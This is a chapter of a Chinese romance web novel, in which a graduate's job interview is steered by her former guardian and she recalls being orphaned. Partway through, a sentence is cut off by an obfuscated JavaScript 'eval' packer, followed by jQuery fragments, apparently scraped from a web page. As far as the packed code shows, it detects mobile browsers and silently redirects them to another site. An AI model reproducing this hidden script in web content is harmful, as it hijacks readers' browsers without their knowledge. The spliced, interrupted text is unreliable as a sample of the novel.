3. 第三章

作品:《私藏小珍珠[豪门年上]

    明珠以为黎骥程的退让意味着自己已成功从他那扳回了一城。


    殊不知自己跟他比,明显还太嫩。


    黎骥程开口后,其他面试官都心照不宣地缄口,不再出言抢他风头。


    他修长的十指交叉相握,呈现出一副游刃有余的姿态,从气势上就压了她一头。


    “既然说到沟通,我们就来模拟一个场景。假设你现在有一个潜在的目标客户,他手里有一大笔资金,确定是要在中国投资。但是已经有几家实力雄厚的公司获悉消息后先找他谈过了,而他一直在犹豫,你打算如何说服他跟你合作?”


    明珠恨自己面前没有小桌板,不能和他做同样的动作。


    但又觉得真给她一张小桌板怪怪的,像是被提审的犯人。


    接着又唾弃自己昏了头,竟神志不清地想要模仿他的行为。


    她心里再清楚不过,是从前跟在他身边学惯了。


    明珠被他猝不及防的问题砸得慌了神,茫然地问:“我可以给自己安身份吗?比如说像您这样从业多年,在业界有一定地位和人脉的大佬……”


    说到最后她自己都心虚了。


    因为这极有可能是她即将面临的困境,她没法理直气壮地诡辩说“出来混,身份不都是自己给的吗”。


    精诚合作,诚信第一,她不能造个假身份骗人。


    果不其然,黎骥程笑着哼了一声:“不行,就以你的真实背景。”


    这样一来,难度无疑是地狱级的了。


    明珠又问:“那我能预设跟他电话沟通吗?我觉得我不一定能争取到和他面谈。”


    这么说虽然有一定道理,但她存了投机取巧的心思。


    见面后的仪态、肢体动作、微表情,都有可能给她减分。


    她没跟人谈过合同,不论是以上哪一方面都能让黎骥程挑出错来。


    她这是在杜绝后患。


    打电话的话,她只用把心力用在组织语言上,可以省去不少麻烦。


    不过这只是她单方面的设想。


    黎骥程闻言饶有兴味地挑了挑眉,爽快地同意了:“可以。”


    明珠深吸一口气,开始了她的表演。


    “Hello,Tom先生,我是宝嘉集团的业务员……”


    她说着,晶亮的双眼瞟向黎骥程,时刻观察他的表情变化,试图从他的神色上窥见正确答案。


    嗯,对方的名字不重要,瞎编没问题。


    以她已经入职“宝嘉”为前提也ok。


    然而当她正打算说下一句话时,黎骥程淡淡打断了她:“你说你是宝嘉的就是宝嘉的?我挂了电话要想确认你不是骗子,怎么知道是不是确有其人?”


    明珠欲哭无泪。


    她是真的被问懵了,完全不知道该怎么自证。


    黎骥程等了一会没等到答案,提示道:“你没有自己的名字吗?你说了以后客户自己会去确认的。”


    明珠怔了怔,“哦”了一声,从头再来:“Hello,Tom先生,我是宝嘉集团的业务员Audrey。”


    黎骥程没再难为她:“你好,Audrey,请问有何贵干?”


    明珠松了口气,赶紧说:“听说您打算在中国投资,正好我这边有一个合作机会,不知道您是否有兴趣了解一下。”


    “你是从哪个渠道听说这个消息的?我们之前并没有接触过,是谁在未经我允许的情况下,擅自把我的个人信息当作资源贩卖吗?合作是有前提的,我的财产不是你们可以随意惦记的肥肉,每一笔钱都要花在刀刃上。不好意思,有事先挂了。”


    gameover.


    明珠感觉自己活像是宫斗剧里折在第一集的炮灰,脸色“唰”地白了。


    她沉默半晌才从沉重的打击中清醒过来,倍觉羞耻地咬了咬唇,忍辱负重道:“我想知道这种情况下我该怎么打这通电话,请您不吝赐教。”


    黎骥程心平气和地教她:“不论你跟谁谈,怎么谈,最重要的都是让对方看见你的价值和背靠平台的核心竞争力。你说的第一句话就要提起对方的兴趣,而不是直白地问对方感不感兴趣。”


    明珠一点即通:“Tom先生,我们公司现在手上有一个大项目,您要是有意向参与的话,我们可以详谈一下,怎么通过合作实现共赢。这样吗?”


    “差不多吧,还需要点明跟什么可以查证的具体政策挂钩,要把利好展示出来。”黎骥程似乎很是记仇,还不忘借机挖苦,“你刚才跟我呛声的时候不是提到了一带一路吗?”


    明珠正要问他还有没有其他地方要注意的。


    黎骥程就主动说:“另外,尊重对方是对的,但不要在沟通中使用过多祈使句,姿态放太低容易被对方拿捏,无论如何话语权必须掌握在自己手里。言辞可以亲切一点,将对方拉入自己的阵营,达到掩护自己真实意图的目的。自己拓展业务就提自己公司,不要扯上别人。”


    反正这里还有其他面试官看着,他又不能光明正大地欺负她。


    想到这里,明珠挺直腰杆,清了清嗓子,示意所有人她要放大招了。


    她将思路捋顺后,说出了经过黎骥程在线引导后的精华般:“Hello,Tom先生,我是宝嘉集团的业务员Audrey,我们公司现在正在经营一个与一带一路优惠政策挂钩的大项目,不知是否能与您合作,一起吃掉这块红利。因为我是公司的新人,服务的客户不多,所以在负责这个项目时一定会百分百用心。我们中国人讲究缘分,如果达成合作的话您就是我的贵人,有其他难得的合作机会我也会第一个想到您的。”


    坐在黎骥程身旁的儒雅男面试官情不自禁地鼓起掌来,称赞喟叹:“完美。”


    黎骥程觑了他一眼。


    他讪笑着回应,随即偏头对明珠说:“面试结果等面试完其他候选人,会通过短信通知你的,大概今天下午就能出结果,请注意查收。不管结果如何,我个人对你十分欣赏。在这届应届生你确实与众不同,各方面表现都令人印象深刻,期待和你共事。”


    明珠认真听完这番冠冕堂皇的话,也没能分析出面试结果,究竟是要她还是不要她。


    他们这些被规则驯化的职场人弯弯绕绕就是多。


    本质上都和黎骥程一个样。


    不过她还是感谢黎骥程的。


    她是成年人,有自己的判断力,对她好与不好她还是看得出来的。


    诚然顾天翼所言非虚,黎骥程的压迫感确实强,但是在面试的过程中,他一直在循循善诱,引导她解决实际存在的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501511|170365||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    问题。


    她有几斤几两她自己清楚,要不是黎骥程对她进行现场教学,她今天的面试分数即便不低,也不会有这种令人惊艳的感觉。


    这位面试官的夸赞,黎骥程的功劳占一半。


    心知肚明的事实摆在眼前,她不禁腼腆地笑了笑,起身对所有面试官表态:“辛苦各位领导看我献丑了,如果真能加入贵公司,我一定注重自我提升,加倍努力地学习,不辜负领导们的苦心栽培。”


    漂亮话谁都会说。


    等过了面试这关,她要做的第一件事就是忘本。


    她假装乖巧地将自己坐过的椅子复位,又贴心地轻手轻脚带上会议室的门。


    郝佑临将她言谈举止间的:“这孩子的家教真不错,长得漂亮,文凭一流,谈吐优雅,自信大方,临场反应也很出色,尤其是你没提到的点她都能举一反三自行扩充。你们谁都不要和我抢啊,我先看上的。”


    黎骥程嗤之以鼻:“云养的孩子谁都爱,谁教谁知道。”


    他说得声音又低,语速又快,郝佑临没听清:“什么?”


    黎骥程一句话从不说两遍,更何况他没打算让人知道他和明珠的过去,摁下手边的呼叫铃,对行政秘书说:“下一位。”


    —


    明珠从“宝嘉”的办公大厦出来,在楼下的瑞幸买了杯领券打折的咖啡,坐在树荫下慢慢啜饮。


    面试结果还没出来,她不想高兴得太早,所以一个劲地假装淡定。


    可她复盘了一下整个面试过程,貌似找不到“宝嘉”不要她的理由。


    招聘和应聘本身就是一个闭环,原理就是一个愿打一个愿挨。


    花里胡哨搞那么复杂,到头来依然是双向选择。


    作为出卖劳动力的一方,就是让资本家吸血盘剥的,她不信自己吃亏,对方还不乐意。


    她只是在犹豫被录用以后要不要发朋友圈。


    现在她的朋友圈里一大半都是跨专业考研、考公考编上岸的,都有了安身立命的资本。


    “宝嘉”虽然在业界有名,但毕竟是私企,是会站在风口上扶摇直上,还是会随着政策变化一落千丈,很难预料。


    世界瞬息万变。


    谁能想到含着金汤匙出生的她,在父母车祸去世的当天一夜没了房产车驾,遗产被叔伯姨舅钻着法律漏洞瓜分殆尽,生活难以为继。


    那一年她十一岁,在本该最快乐的年纪,知晓了人心险恶,尝遍了人情冷暖。


    父母的遗体火化那天,她穿着脏兮兮的白色连衣裙,捧着父母的两张遗照站在殡仪馆的遗体告别厅,眼里的泪水已然干涸,肿得像核桃的两只眼睛没了昔日的光芒。


    黎骥程穿着正式的西装前来吊唁,步履稳健地走到她面前,怜悯地摸了摸她的额头。


    他和那些劝她节哀顺变的人不一样,沉默地蹲下身来,看了她好一会儿,温柔地问她:“没人要你了?”


    话虽残忍,却是事实。


    她红着眼,楚楚可怜地望向他,没说一个字。


    半晌黎骥程叹了口气,对她说:“那你只好跟我了。”


    她那时当真以为他是她灰暗世界里唯一的一束光。


    他怎么忍心离开那么久?


    为什么回来了都不告诉她?